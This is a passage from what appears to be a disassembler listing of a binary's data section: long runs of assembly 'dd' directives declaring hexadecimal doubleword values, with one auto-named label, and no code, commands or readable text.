1B334902h, 30C2616Dh dd 0C1E4ACC5h, 3A60E560h, 86D1CF00h, 0F82C67AAh, 0DBACA066h dd 0A88E2EE6h, 0CA328020h, 62949D5Ch, 12E832EFh, 482204D3h dd 24D830D9h, 0D5EB7411h, 80BB1D88h, 0E1EC2420h, 3A01A4Dh dd 0CF2CAC8Ch, 507F0FA6h, 8030FB09h, 4240B6Bh, 7987B602h dd 4C0B5813h, 12E85090h, 8995018Ch, 0DD46778Ah, 44283053h dd 141205FFh, 0B823183Ah, 0FFA28100h, 0E64E7BE7h, 2F0964Dh dd 15931970h, 0E9A87C60h, 68661431h, 62D8051Ah, 0B2024C12h dd 4E483605h, 503088E4h, 4A9DB09Ch, 31C2A380h, 5EB39Fh dd 2920A9FFh, 5CD022F0h, 9E727A0Bh, 42B48395h, 849FA2C0h dd 0D360D4C4h, 0EB2E6124h, 0F572B4CDh, 82AE1E60h, 91A2158h dd 66836098h, 1A5E0C20h, 0D3C80EBFh, 0E134E61Dh, 7DD0C0EBh dd 6B0C1527h, 9E05EC78h, 5D5A7EC0h, 2AA080A8h, 6238BF2Bh dd 9D00F270h, 46432F8Ah, 25A780Bh, 170F4FA8h, 14433880h dd 4B7666C8h, 0BC28EA12h, 41DB9488h, 884C4E5Dh, 0E980CE1Bh dd 9DCA7113h, 0AE916419h, 9EF47258h, 4B662C8Ch, 675644ECh dd 0DECC3530h, 28044B71h, 0FB00A264h, 824E5535h, 3D75C6h dd 85E2C0E0h, 190CB627h, 0B4168B28h, 0B0FCE529h, 0F81811D1h dd 44DB7702h, 679CDE88h, 633B448Ch, 0A61EC0CEh, 5983279Ch dd 0E8F8C81h, 0B8D43830h, 0CF008C8Eh, 1038A95Eh, 9DBAD3Ah dd 91B12DDh, 0C3DCDC48h, 30D281h, 410C40FEh, 2967DC9Ch dd 72E2A360h, 31A0101h, 0E7C47ABAh, 41C0303Eh, 7B1C4B06h dd 1C96683h, 0BFFBDCDBh, 0F2CF1BBCh, 107E3044h, 0D9D2F700h dd 5153C4B2h, 3B540006h, 0DDC32B3Fh, 0A77D1479h, 20581B24h dd 0BC20ACB9h, 0E9FF21DCh, 25BC8D80h, 737CBA16h, 9C8FE477h dd 0FF364088h, 801E154h, 0C6DE554Eh, 6C38615Eh, 7D8C97E8h dd 0EB5F046Dh, 80681D60h, 30172C54h, 0A33DD49Ah, 8C9F896Ah dd 0E44C45E9h, 0DDFC6097h, 66C8003Eh, 5A5B91D5h, 4504EC78h dd 0A5608AE6h, 37636092h, 18A24681h, 21F4C42Ah, 20F347h dd 0B0E612E7h, 0F41409ABh, 0CB80082h, 0B6AACA00h, 9071DEBEh dd 0FD02DCC9h, 51D2705Ah, 0D9AF602Ch, 0CFEC32FCh, 8836E409h dd 2620C892h, 62C84534h, 303BE2E0h, 12250FD3h, 7EE4A36Dh dd 7021004Ch, 0F020F154h, 0BF00D8FEh, 77FD94F4h, 267E798h dd 0DE53B985h, 48C1E46Bh, 0B8D46830h, 0B9008CBAh, 97A5FD82h dd 3881E122h, 0CB00D632h, 61627E56h, 2894F294h, 0FB00051Ch dd 4EB17D82h, 0D3A10B26h, 0D4401A7Eh, 59C0285Ah, 61120EBBh dd 6868A1ACh, 21A8E710h, 0EA12B1E6h, 288BC60Dh, 0ADC3B9C8h dd 0F4EBE889h, 7D7224BAh, 90B203BCh, 0A816456Eh, 1407082Bh dd 0F64007E6h, 9A158626h, 0FE900D8h, 0EF0AF20Bh, 93F06F6Eh dd 0C5D2F900h, 1642FF5Ah, 74B3021Ch, 7B15EA41h, 1E102844h dd 702E06A1h, 240F0B85h, 0A2440047h, 9A62960h, 0D20B8202h dd 0CCC2E4C3h, 0A4D65CF8h, 0C511E08h, 7AE2DE03h, 5F70001Dh dd 82D3BC48h, 0D97019B5h, 59F60112h, 86A57501h, 48795D45h dd 23EFE004h, 0C00D08F9h, 704DFCDBh, 0BC69FA2Ch, 0D4A658h dd 0A0480FCh, 383475FDh, 850CB84Ch, 0B81758E0h, 18850C8Dh dd 0A6EC0B8Ch, 0DDA448DCh, 25D17580h, 67D590h, 0EC414C40h dd 58292EC4h, 0F100827Ch, 3CC12CD6h, 0E5EAD2Ah, 8FB77491h dd 0E7119E20h, 1C941766h, 0E9FF2176h, 9017CB80h, 18F278Bh dd 9D78DF5Eh, 0A74FC2DCh, 0A86418C0h, 0A93600CBh, 0D2FE98BFh dd 0D812200Ch, 20401785h, 8898EC1h, 7D90F6h, 2699F1CEh dd 0F38C8301h, 0EA241103h, 80465DDAh, 1240C537h, 0C060D6F8h dd 96DBDF4h, 9051A809h, 4804525Dh, 96C2903Bh, 58D30A50h dd 1B4634A8h, 0D7264102h, 0E079F7E6h, 26572860h, 3B1EEFDh dd 9851461Fh, 0AEE91ADEh, 0D2CC7223h, 60C8B0CAh, 17E8C2C0h dd 92BA029Fh, 0E9CDA73Bh, 0EAB3D0E3h, 0CB535FB0h, 9FD37C00h dd 3E8D781Dh, 34BF59B2h, 5147BD0Bh, 95E02CEDh, 12F35987h dd 61A7D8D6h, 5053839Ch, 8E35C180h, 7BD87600h, 0DBF2709h dd 55C04C49h, 0F5E444h, 0D51E70ECh, 163B597Bh, 1705CC00h dd 5FDBF3CFh, 80FCBCC8h, 9A96D8D9h, 0F2466DEh, 2180309Eh dd 1F8F241h, 1BBB39E3h, 1C606C25h, 13026ECBh, 0D35ED20Eh dd 5A5058EEh, 0EA2C3860h, 9D0E8818h, 5B8FB818h, 107C2EECh dd 47DDEA1Ah, 0E31C02E4h, 78F9DE4Ch, 0E698740Ah, 90A8DC28h dd 91781795h, 0E1D58014h, 5CD419A8h, 79C0B02Ah, 543A3377h dd 3E5F40Fh, 0F714E2CCh, 1E38FA86h, 402D2777h, 0FA427166h dd 1003ACAh, 1F157512h, 3F05643Bh, 19AFE636h, 0BF91F017h dd 17718Eh, 99C72A1Fh, 832490C4h, 0B5800067h, 7548CF46h dd 8A6C000Eh, 0F1F91EACh, 0D75C670Fh, 288BA4D0h, 30EA1884h dd 24F734F5h, 0EBA4D03Ah, 12082817h, 0B99063BAh, 0F8D8E6A2h dd 92E488A5h, 83188860h, 0FF00BCA4h, 1C47362Ch, 7A89791h dd 22C84FA4h, 8103F465h, 9C5808h, 4EE31AB6h, 0A638721Bh dd 465EB054h, 0B7F50392h, 80E3E214h, 16D04B68h, 272DEC7h dd 0EF905054h, 0BFF8CA0h, 4130B251h, 70D7415Eh, 3C2EE3Fh dd 2C84ACA7h, 39DF5DD3h, 19FDD840h, 9F1DF13Ah, 0B993CA3Fh dd 0C830388Dh, 5101FDE6h, 0B0412EE8h, 17BF12DEh, 10CB4439h dd 0B3113E05h, 1782330h, 703EFCDCh, 0D82C2B32h, 0FCD500ABh dd 0FF94BB2Bh, 0D000AF8Eh, 0E571C0FAh, 90162F6Ah, 8C62092Ch dd 0F810B826h, 0D84825A0h, 8C16EC38h, 0E30C7502h, 40B0771Ah dd 53CEC0h, 0D7E17DC8h, 90619D43h, 465EA094h, 7991170Ch dd 1F4170Eh, 0A168726Fh, 0BE98430h, 0B6BADED8h, 28EABC20h dd 549A9E54h, 4B209B0h, 48310A1Fh, 0ECF62722h, 0FF112897h dd 5F4EE480h, 980035E5h, 8FE05856h, 7FE72C21h, 469CA4B4h dd 0D8C93ED2h, 0C63D2528h, 0A61744E8h, 25C6D158h, 0D86653h dd 3D0567E7h, 33BF3AF8h, 1549758h, 7044B36Eh, 0D82C6ABAh dd 8CFEBCh, 2162869Dh, 5781BDD6h, 0EF4A2371h, 5E042022h dd 0A3465C6Ch, 3A426A00h, 2C3C7D6h, 35401103h, 787E9BE4h dd 1438905Eh, 90ED79CFh, 1C8C18ECh, 2498E094h, 81443E80h dd 392A4F01h, 6B85F295h, 0EB675193h, 6207331Fh, 0CA705FF7h dd 483EE720h, 10371007h, 6964F141h, 301422ADh, 2F10A1D0h dd 24D47652h, 0A8189D60h, 1CBE48E8h, 0B0E6D109h, 3ADC7840h dd 0C527AB16h, 15A46000h dd 0BA93FF11h, 348E00D0h, 0EB53CA97h, 98ABBA6Eh, 0F7BE86E8h dd 0B1611533h, 0BDC4130Ch, 0E5B80025h, 0D8E06A7h, 0E9E8C931h dd 2D3136CEh, 0E5BB9ACh, 94F44EC7h, 313C5A00h, 5FB47835h dd 8FDFB815h, 496012A0h, 62F6B506h, 5EA09E90h, 80EA1D21h dd 6222309h, 0B402F9DAh, 0E8E646DBh, 98CB0664h, 0DD6BF10Fh dd 0B2AA15Eh, 0AF208F54h, 2830EB2Eh, 3B8844D0h, 498CB400h dd 0DEE2B69Bh, 6C9813h, 0B02FD045h, 6BE6B2BDh, 26E7A700h dd 0BBF82769h, 3D17182Dh, 0DC8E4028h, 0CA850F7h, 4C20E791h dd 4EDE1465h, 0FC89EC87h, 3E686980h, 0AB1C41A0h, 2E80C9C8h dd 86DBFA87h, 129DF12h, 0C41CFFCCh, 6F69FC0Eh, 63E3A500h dd 0EFF9EDC9h, 0E6D941CDh, 0EDC5476h, 0D3E56C43h, 50D6B340h dd 21C4388Eh, 0ACE47EC9h, 987988h, 0B20920DCh, 66C3C186h dd 0A3703475h, 5BBA131Eh, 713B1980h, 56D43CBh, 86D6F4ABh dd 0C2E44369h, 0A689DA3Fh, 0A559E55Fh, 0A8C459h, 0C6B01F8Fh dd 0B9111BC5h, 6B57CC00h, 4A2D3C98h, 5836E5FDh, 28434BE0h dd 9D5F0B0Eh, 0B8CBF329h, 75C0BF88h, 5ADF983h, 0FB0A4015h dd 62EF83B5h, 665F8905h, 24972721h, 0E4D98189h, 0F434C402h dd 95750363h, 7BE2E60Eh, 0D0A13CD2h, 6CBD60EAh, 208A0E6Ch dd 4801389h, 0C75FF56h, 0B48828F5h, 7A05BB20h, 15D41A19h dd 46AC2038h, 0BC4A26FBh, 86EAF65Eh, 4F75C300h, 0CD91E1DAh dd 405F01AEh, 13A9785Ah, 0E92C24DFh, 0FC20D64Ah, 165A2Ch dd 330EB56Fh, 0D6AD21C9h, 0BCD0034Ch, 360B8C5Ah, 37C823E5h dd 806E00BCh, 9F916D15h, 6C7B107Eh, 8C7FAE09h, 79FC7158h dd 28D71895h, 20B4B338h, 0CC726585h, 0F1BEB1C9h, 18187988h dd 423E3F1Fh, 0F293C81h, 3CF231F8h, 8C11BC28h, 79EE0C00h dd 0E2DC5F35h, 3B104E5Eh, 23B236Ch, 9510482Dh, 2C842C7Ch dd 0C8D0E3FFh, 0C0604153h, 0BF016519h, 2C182BDFh, 509115CCh dd 0B3FA04h, 0B20F3DACh, 8964DEF2h, 11207660h, 0BE9BB09h dd 6A627040h, 44C1E06Dh, 70F87F69h, 0B9A70564h, 9DF1176h dd 0FB823658h, 7C4BA9C8h, 0E69FC016h, 0A8362820h, 26C000ACh dd 0D4648EBAh, 0EB1D55A5h, 5BD803C4h, 0FB29E428h, 0B8BC386Ch dd 1830168Ch, 0D934035Eh, 0D1C8F25Bh, 2B68197Bh, 4F3AF050h dd 0A7C0C4DAh, 0A1C44449h, 6499C114h, 850850F3h, 23F1B01Eh dd 0C77ED3CEh, 0F9C90C88h, 180D7994h, 94D60179h, 0BD6B5018h dd 1ADEE0FEh, 94003F4Fh, 2CC8D7C1h, 980AF0E7h, 0EA420268h dd 236A7AE5h, 0A2643847h, 24014A60h, 0D9C4250Eh, 86FC4152h dd 0B897E1CFh, 0CC2820CBh, 3E2CF336h, 0CA0CAC21h, 0CF1958h dd 0DA654C2h, 0BD3A48Ah, 0AE41A901h, 0AF7ED6F8h, 0C24A8D9h dd 0C5220E35h, 9AC012F2h, 4328F53h, 0C0D4D02Dh, 93E2347h dd 5F1A9841h, 748EF0C1h, 64E651D0h, 0CB4481B5h, 0E2E86078h dd 6A30253Ah, 0B591401Dh, 6C5B0280h, 802A59Fh, 1B068B5Fh dd 0CF4D080h, 0BFB64AE2h, 0E7E00530h, 0F5ACDE03h, 79726113h dd 0FC222519h, 62CA8882h, 0D01A88A0h, 5F0F8995h, 7D0F94E6h dd 0F8330100h, 12200A66h, 0F0B2587h, 0AB09A8B8h, 0CD6609Ah dd 3EFE4656h, 8744BF62h, 2898CF66h, 0D65072B2h, 0F61A80B4h dd 33EE97ACh, 17C773Ah, 856BB9E4h, 0AC526137h, 428718Ch dd 1F02471Ah, 23F22000h, 0A12B88E7h, 544E62F8h, 37EA16C4h dd 0E359C451h, 4705603Dh, 0E05F3436h, 2F281A00h, 8730E46Ch dd 2C8C594Fh, 15A4B434h, 0F8494420h, 0E943FCA8h, 0E62212h dd 0C2CB6C50h, 94847Dh, 69514D80h, 1ED64F9Ch, 0C7163D95h dd 0B00B64A4h, 54C07D78h, 8F09748h, 761062FCh, 80BB6021h dd 0A876DE82h, 363FCEA9h, 20F3B09Dh, 601C30EDh, 0D205F048h dd 35B5C6BCh, 79278054h, 0CBD82D65h, 87EB1F03h, 0E2D9B3C5h dd 0FC3841E6h, 0B2EC720Dh, 4DA3017h, 0B5EC2912h, 0B44D80DCh dd 0FE215CECh, 9DD980E9h, 87CA3101h, 0C57B930Fh, 0D32C8003h dd 0BEC7E5EDh, 0B6465E40h, 18887900h, 8C4D0E69h, 8C0D71D3h dd 6E6B499Ah, 7D8A00ECh, 3C6CA752h, 0E661092Eh, 98254472h dd 801CDE88h, 6FE453DEh, 36C90032h, 674F47F5h, 2916156Ch dd 6CE0B398h, 0E47E3CE6h, 451C3C48h, 639D0339h, 0FCC8B5F5h dd 0FC990555h, 0F6185A79h, 8671324h, 116467Eh, 79702AF2h dd 0E0216B58h, 93813028h, 0F4F5DECEh, 0A4A88F50h, 0E300AF20h dd 4820671h, 988A9Bh, 0C92CCF1Dh, 0B6268C6Bh, 8776F0C3h dd 0F520F066h, 0F98B2D94h, 0AB0A2856h, 0EA0530E6h, 0FCB84C30h dd 53C0205Fh, 17462C8h, 38B6AC7Dh, 4CBF465Eh, 0EC710336h dd 0D97AB88Ch, 907CE642h, 1420DB8Eh, 2F476648h, 0B26A2300h dd 5440D30Fh, 0B0510E84h, 0E900A953h, 3F0E05FAh, 2102BC9Eh dd 0F8F9307Ah, 0A60217Ch, 3318A2F1h, 772D6800h, 9A4EFF19h dd 91502DE6h, 785AFCC8h, 9424D974h, 319220CEh, 95E29CE2h dd 2ECF8330h, 0BBE03120h, 0CA50E020h, 29009934h, 80C1662h dd 48D4AACh, 41F287F6h, 66DB4065h, 1ED20F56h, 0BF1E560h dd 24C5F5A9h, 7E6014E4h, 0B1856Dh, 0D071A300h, 106C2FBh dd 4281FE77h, 8224E45Ah, 34E6AF21h, 0E09843C4h, 9CECF775h dd 1D465C58h, 95D71F00h, 0EB37342Eh, 6488214Ah, 58EEF47Eh dd 2425600Fh, 0A3915417h, 8D928680h, 9100BE4Dh, 0E2C0FB0Ch dd 481288EDh, 3AD2849Bh, 0BB60102Ch, 44E44BC0h, 1A056937h dd 0C6C4D905h, 1723BC2Fh, 75ECC500h, 0ACE33B2h, 0C6DB44FEh dd 0C7EAD448h, 9DCBEB04h, 48E2D208h, 1E30B7F2h, 0DD9A094Bh dd 0F0094C1Ch, 188D080Fh, 886E7AB0h, 319E6F00h, 30BD79CFh dd 8380BC73h, 0DB79C052h, 4AABFB78h, 0E8C88100h, 0AEB7E650h dd 0E23B3061h, 5F1970E1h, 3D9887B7h, 82AEEA30h, 0E55917DAh dd 519C43BCh, 3102E0E8h, 371E12Ah, 24F4C37Ah, 496CE728h dd 0C041EC70h, 0D08ACACBh, 25D82C78h, 1C3091E0h, 5196310Ch dd 0C06CC439h, 28C17ACh, 72DE3F88h, 0E00E6960h, 0D508FF6Eh dd 24833AA5h, 0FDE89E84h, 35C8A2B9h, 0ECECD1C1h, 0E54C0680h dd 0FE019697h, 219EA659h, 6BFCA7F7h, 0A07C63BFh, 42605A41h dd 507DE5F1h, 3141CB46h, 0AD58087Bh, 0A02107B3h, 0CC2C790Dh dd 90BD5EC0h, 0F834984h, 0DF241872h, 28BC84A0h, 7100CD3Bh dd 0D21644E7h, 6066BB06h, 0DE42A0F0h, 0E891057Bh, 7018B679h dd 1A17F81Fh, 7836E4C5h, 0F205D0FDh, 80EBF58Ah, 0F519D74h dd 0E5901717h, 13605CA4h, 0F0CCE9A6h, 413808BCh, 17C8A50Eh dd 0BA0E0830h, 31A52160h, 281023Eh, 6611FDE0h, 0AE82E0FEh dd 51C823D2h, 1812712Ch, 0A15E07DEh, 892C9D3Fh, 3365440h dd 9004405Eh, 1002E1D3h, 48F8FB61h, 917C1795h, 0BF38808Eh dd 5AD38A22h, 4D6C20FCh, 0D8E41AADh, 0CC6D0A07h, 0E8C5A062h dd 521D0E4h, 0A3105C94h, 47B08CEFh, 0C01D1E25h, 2515EA10h dd 1CC81A73h, 0D98169CCh, 275657ECh, 0D84599B5h, 4C60A2E4h dd 1F005E54h, 20744A56h, 220832h, 91D4866Ah, 558D1E8Ch dd 787154B8h, 0D83AD0D6h, 0DB00B623h, 2748B442h, 15223ED1h dd 893CE6A6h, 744A6685h, 97194FBh, 39D0C8h, 4F054159h dd 172CA764h, 0ED5C4412h, 54F024E6h, 0ED1823BAh, 4190F86h dd 3CE17429h, 9C003C01h, 5E970758h, 634A6B11h, 25DE04A4h dd 0C0685081h, 9C003A13h, 461E6FF0h, 4C348Dh, 0B3B9761Fh dd 3380DE9Bh, 0D6CF2002h dd 7CF4E6D2h, 749C268Ch, 87BA1721h, 316F5650h, 0FC0DD393h dd 8E5D991Eh, 0C362C24h, 72E35142h, 4118089Ch, 0CE01143Ch dd 0FB2CCB43h, 0DB19D0h, 504FF216h, 0E61B209Ch, 0F8420E0Bh dd 79AC592Bh, 48018B5h, 7BBEC48Ch, 31208385h, 0F1E0A2B5h dd 30CEA18h, 5907980Bh, 16F8C884h, 69F5006Eh, 2FD517F4h dd 780542D7h, 0EFEE0166h, 1AA8D880h, 90684E8Bh, 0C5472B0h dd 0B2CF408Fh, 50BF312h, 59FDE621h, 180DD1A0h, 0B20100CFh dd 7933FEEAh, 5A0B99F6h, 0F92C178h, 0F7BC21Ah, 1F24662Ah dd 80CC7F22h, 0B6D9AB78h, 50B07DFEh, 0B45C9B22h, 3B467610h dd 4993F101h, 404EBA2Ah, 636ADECCh, 0A758596Eh, 10FB4A8Ch dd 84E1E8D8h, 98D4649Ch, 0E4B11626h, 0E16E048Dh, 64A0825Dh dd 36ED7420h, 12D67882h, 0B49BA47Eh, 324F243Ch, 44BCE4C5h dd 68CB4B8h, 50D109BAh, 0E30E7023h, 0F6B35F1Ah, 3A7F4CC0h dd 11B16270h, 90D850E9h, 0CDF9C883h, 18046C4Dh, 0FAA9B641h dd 646F243Eh, 0E35A8524h, 8324EC89h, 0A23B11FBh, 136C74C9h dd 5A104299h, 58543CE5h, 0C8F66CE3h, 0AE3BDAh, 77D01E1h dd 0B9CBBD54h, 7EE4D804h, 14EC0A10h, 18C12ECh, 692B754Ah dd 2C10348Ch, 0DD3609ACh, 56404262h, 1B465E50h, 8DB1F103h dd 33884942h, 0F06EF05h, 0DF6BAB53h, 198FA49h, 65D41FC8h dd 0DBD3B221h, 66B482ADh, 74A0AC72h, 7E5A1ABFh, 120DEC45h dd 0E448C8E2h, 0E011E416h, 0B1EC2224h, 0A4BF49CAh, 467448A4h dd 0E6DD055Ah, 5CD1D51Eh, 71A50150h, 90E4B0E5h, 29139560h dd 78CAC502h, 0A426E37Ah, 0F234BE54h, 30B7B208h, 0CF7099D4h dd 7F2AD648h, 7D516961h, 0A0C460B5h, 581093D3h, 8086BB5Bh dd 5486D5F0h, 0C5DC68h, 0A341DA1Eh, 0E41BC367h, 0E201F892h dd 63C1B70Ah, 2E6F4CEAh, 952398h, 65DE412Ah, 4A5BEA8Ch dd 7E291820h, 0A78501D6h, 5A64CAB5h, 508571E7h, 9BEE4A8h dd 9462351Fh, 0A85460E5h, 174891D2h, 4A6090CBh, 5E00F63Bh dd 918ED1CCh, 24E333EAh, 83CC2416h, 906046E2h, 435DDBA8h dd 5F011B09h, 9AAA803Eh, 5B649F95h, 10082FCEh, 37C0EA18h dd 86D9286Fh, 38BCE6F8h, 2E2317F4h, 0F93CD050h, 587BD2EFh dd 899B38h, 0E431386Ah, 3633CAF7h, 41BEA8E9h, 84A85EF2h dd 7A039D6Bh, 8F8A8158h, 6FAFA83Dh, 1687970h, 9DAD7F41h dd 2CF91E47h, 464B16D8h, 0AD011C6Fh, 82E89D61h, 62AC306Ch dd 20F0B9D2h, 50DB0BFCh, 68F15139h, 5C189279h, 0A0155D29h dd 0CB2BE200h, 14A9C543h, 0D44AC92Ch, 78C19BCh, 0FF367DF1h dd 797041E4h, 181E6E88h, 17A5C85Eh, 879C91FCh, 7100D3A8h dd 0B681BDBh, 4DE25EEBh, 0E7B2B893h, 8C85024h, 8F1200A8h dd 7A098302h, 3C994C4Fh, 0C189779h, 6002F317h, 1CA4FCC5h dd 35FE8C59h, 79DED317h, 0A5C064B2h, 8D6A3578h, 2894A22Eh dd 51D8230Ch, 0DE5A1A53h, 0A458C9BCh, 7A21116h, 1DC7A002h dd 0CC390224h, 0B3DE74C8h, 2099BE1Eh, 88349DEFh, 2761BA15h dd 7EFA72E3h, 612E0B1Ch, 1408D49Dh, 0AEB760BAh, 10910AA8h dd 60088026h, 6F8501B4h, 0E0A353E3h, 60903B9Bh, 46B484B7h dd 0C25F9F05h, 80A0064Ch, 0EE2BA936h, 12018E7Bh, 7DD255FCh dd 0E8485F37h, 64A7B7D1h, 0E2A99CCAh, 8CD02301h, 0D243DE1Ch dd 926033C9h, 9090A0h, 0E5BE47C6h, 447DCC24h, 7E583B01h dd 606D10EBh, 9B2E2C47h, 0D0CAFAC1h, 0EFF00488h, 405ECDF5h dd 3388A5D8h, 4F4700B2h, 0CAEAC7DFh, 0BC02512Eh, 2CA00E05h dd 42984776h, 918E9FFh, 5B4D0047h, 98CC2537h, 0DE174042h dd 0A04666E2h, 316A87h, 0EBB1B617h, 0A9A14348h, 0B0DE4500h dd 0E359DBB2h, 0D86258E4h, 18CA2F8h, 4C14571Ah, 208E105Dh dd 9612E7FFh, 341C9558h, 0DE413C26h, 5D3EF802h, 40D8EE7Ch dd 0EA240AAEh, 9FD52C01h, 0A5E8AB9Dh, 12493C24h, 0E9054EDDh dd 3F0AACF0h, 880BD62Bh, 1C7AC841h, 2D125700h, 7B47478h dd 68D2006Dh, 5BB11F2Ah, 0CA1644B8h, 744AFCB5h, 0C19D8C99h dd 88A89C52h, 288C14F8h, 2080CFACh, 0B21208DCh, 0ACACB828h dd 2E034E7Ah, 0B923DCh, 4DAF96F9h, 8C2F1F11h, 0E1A404E2h dd 0C57F095Fh, 0DAEF0000h, 979D2AAFh, 8E8E918Ch, 5802E0B7h dd 25C267A2h, 9811B6A1h, 38E21549h, 8132B8F2h, 4A504282h dd 8EF2F073h, 2202530h, 2F8F220Fh, 70D323E5h, 0EE256D70h dd 88F700EAh, 28B4B2F1h, 515A6808h, 30E8B024h, 178C93BCh dd 133D38Bh, 0D803C7A5h, 28002009h, 66716410h, 0DC639405h dd 23803AD7h, 0FE06039Ch, 0E7E88A15h, 70163A8Fh, 9C51DF21h dd 582E4E88h, 7C021523h, 7C6C727Eh, 1EE50278h, 8042C519h dd 0E670A45Ch, 0C61D479h, 80FEA22h, 0C12F26E4h, 44016461h dd 38C4F0A7h, 0E4E83Ch, 905DEE6Eh, 0FC9C2509h, 608B033Ah dd 0BF344495h, 1ED26FE8h, 105E6512h, 0E71D74A6h, 9D0B1636h dd 0C46E2FC4h, 1DAAE2Ch, 0A3CF6F08h, 702E6EC8h, 0C1BB5B10h dd 4E6686E7h, 5CA8CEA2h, 85809C41h, 5F5D2559h, 3005374h dd 89F6D913h, 0E3FC88h, 0D08B2C32h, 80235E86h, 1E87A48h dd 0AB216640h, 0D02D2411h, 0BA511A34h, 0A076786Eh, 5D45EAh dd 8D7F87F1h, 99200A5Ch, 49109427h, 4910EB20h, 0FFE9B9DEh dd 7473ADDAh, 20214D0h, 2C8CB4CFh, 0AC004E10h, 256611FEh dd 0A0C7BDD2h, 9E679564h, 0DC8E47E0h, 4F0510ABh, 96D2DEEBh dd 0BD3B0CF0h, 89EA48A1h, 349A2A05h, 8FA9E4C0h, 676F802Ch dd 900203B8h, 7860505Ah, 69D120E7h, 0F836E516h, 0DC01C8B1h dd 350C148Fh, 6E7E6840h, 22E06164h, 0DFDF260h, 8834BA14h dd 0B29907ABh, 0CF1011DAh, 95ED609Eh, 1B428867h, 0B88718EAh dd 33274113h, 0BBFCDC8Dh, 58E760FEh, 41E61828h, 0C0A53229h dd 0C9189CD1h, 0BCB39300h, 5750950Bh, 0EAE698h, 3FC466E0h dd 346B9E63h, 796D150Bh, 0A92CC0A8h, 120EB0A5h, 0ACA3F104h dd 8C9CBCC0h, 780233B0h, 348C4219h, 0E0517Ah, 522C881Ch dd 0A3023F9Fh, 0D8F9ABE6h, 7920597Fh, 9918BAh, 0DA611D0Dh dd 0F2EC037Ah, 70F0D474h, 10CC4117h, 5BA894A4h, 78448099h dd 190D66A2h, 10530DD0h, 705A9530h, 0BB07806h, 0D15D9484h dd 40543D09h, 11D89725h, 0D16C80BAh, 1F41B94h, 31D18D6h dd 7E99BD29h, 19705C47h, 4A0B4A4h, 0FFE4886Bh, 0D90394EEh dd 8ED2D351h, 0C7B925ACh, 0DC63E46Dh, 0B0DAA8C5h, 0E7020618h dd 818EF0E6h, 0B3987910h, 0E92DA939h, 0DC460C7h, 162F4460h dd 0A105C700h, 59BCF29Ah, 0C4BE4E70h, 47E4E5DFh, 0FEAB3C0h dd 825D5ED2h, 0F9BD3714h, 0BB60D860h, 0A0AB0186h, 5C36AE8Ch dd 280C3283h, 2000D802h, 0A0EC3CE0h, 0F6EB39C4h, 28440171h dd 0EE780333h, 5C203A38h, 5E17280h, 11706D90h, 60D090C3h dd 8A13DC41h, 38F1514Fh, 0C0E4DA2Eh, 57598A7Ch, 0D39A0472h dd 0F986F9D9h, 1A4840h, 0E044828Dh, 1C6C609Dh, 0C96719BCh dd 3C796E53h, 0F0AC360Bh, 9F949070h, 0B8E42845h, 7DD70E60h dd 948AA809h, 8E8C2213h, 682220ACh, 8700F242h, 987BE5A7h dd 71D3A5B6h, 0C47CA597h, 0A643615Ah, 29F2430h, 0FA3F85Bh dd 8CF0D817h, 0BCD4E239h, 0F99A094Eh, 0C46C6503h, 8CE760A3h dd 0BE5B006Dh, 2D45E29Eh, 0F63C8F9Ah, 442FDA4Ch, 29001B23h dd 0D9AAB301h, 0CED817EDh, 2674E543h, 3318A2F4h, 54881793h dd 6018EC0Ch, 0DD5889F9h dword_506C48 dd 0B5CC4E0Dh, 7BD7E440h, 87074EF2h, 1FA51DC1h, 67324310h dd 1C3504AFh, 0A20789DEh, 0BB5BF118h, 1C008A0Ch, 59221A79h dd 16AF1D50h, 2238B8D3h, 8D34D94h, 3B737E58h, 0D02CE538h dd 9F4A6E8h, 0C7C4C9Ah, 2E974676h, 0DA08101Fh, 12802658h dd 8840CFBAh, 5B8BC0BFh, 77001E61h, 0CB4CDDD4h, 6984030Ch dd 503061E1h, 2F001178h, 2A1D61B3h, 0B5580AAAh, 6A9F803Dh dd 19A81F01h, 0D0FDD371h, 78A6BC21h, 0F04C138Ah, 0F49173A8h dd 0C6C5C104h, 0A2AC28FDh, 0E4011901h, 808AD8F0h, 0C2B8C02Fh dd 493A182Bh, 2CD50438h, 78A84BFFh, 0B3DE177Ah, 3A00353Ch dd 3C0D292Ch, 32EA9400h, 6E0110h, 1F7AE11Ch, 16E850D8h dd 1CBC29D3h, 0EC77DA80h, 2F009C52h, 0E8512809h, 20F041Ah dd 93121968h, 0C8802960h, 6DCA5C07h, 0AC6B055Bh, 4BADA07h dd 81972F29h, 6869D178h, 0BDC08464h, 677F3602h, 0B5F98840h dd 0BF196C12h, 5DDD50CCh, 0CC21CD2h, 0C0FA47DCh, 0D4AE9200h dd 290A645Dh, 8E0601C4h, 50EBD961h, 0FC203AE4h, 2734C0EAh dd 18C52B5Bh, 0E760B5E4h, 0F600CA16h, 6CCED33Bh, 4A1C230Dh dd 94C0E012h, 0D8178A4Ah, 5D3B106Eh, 240050BEh, 0CA2588ABh dd 66536BA8h, 0B4C81098h, 0C5F03B04h, 996484CFh, 888C4B88h dd 5606C018h, 470B9DF5h, 139B6436h, 8995A40h, 9880EBFCh dd 0E0DCD0C8h, 3E4C94A4h, 23B03E4Bh, 68F82595h, 22DC6B08h dd 5CD02846h, 3B844874h, 0B33300B6h, 93B1F734h, 98E527DCh dd 18E9FEE2h, 3500EFE3h, 0ABD36BDCh, 0B8AFD04h, 665B2170h dd 3ADB2C82h, 609E845Ah, 0FEBFEDCh, 4142DCB8h, 6EB9F158h dd 3A32BD00h, 0C698950Ah, 300C013Dh, 890B779Fh, 0D670641Eh dd 502DBC00h, 0EA63EEEFh, 601F2711h, 588C7003h, 0BE78E580h dd 0EDAD14B6h, 6EEDE0A4h, 5F00CA9Fh, 0B84BE409h, 2F68CCEh dd 0FDD1F378h, 0E45ED3C0h, 4676782Eh, 0FB8B000Ch, 7054B70Eh dd 0D3A21256h, 88C81781h, 0D9001924h, 65A3E78h, 0C3D775E5h dd 0C5056776h, 485966A9h, 0BA0CDEF4h, 11EC0792h, 281B18ACh dd 61102064h, 0C53A3D00h, 45740C95h, 2CB1003Ch, 569C7ADFh dd 0BD039AA6h, 0A33AC14h, 13D5F894h, 97D700B3h, 0ABC17A17h dd 5E3A79ECh, 0F5486088h, 3E97B32h, 0C1965D12h, 818D87Ah dd 4E20EDF9h, 4F7B0005h, 477C06C3h, 0DE0129F6h, 0F25CBFE7h dd 488E9416h, 0B9A0308Eh, 0A89FD5AEh, 37B0FDA3h, 0D81827D9h dd 5C291314h, 0F379C00Eh, 0E9F59F92h, 0B704FC16h, 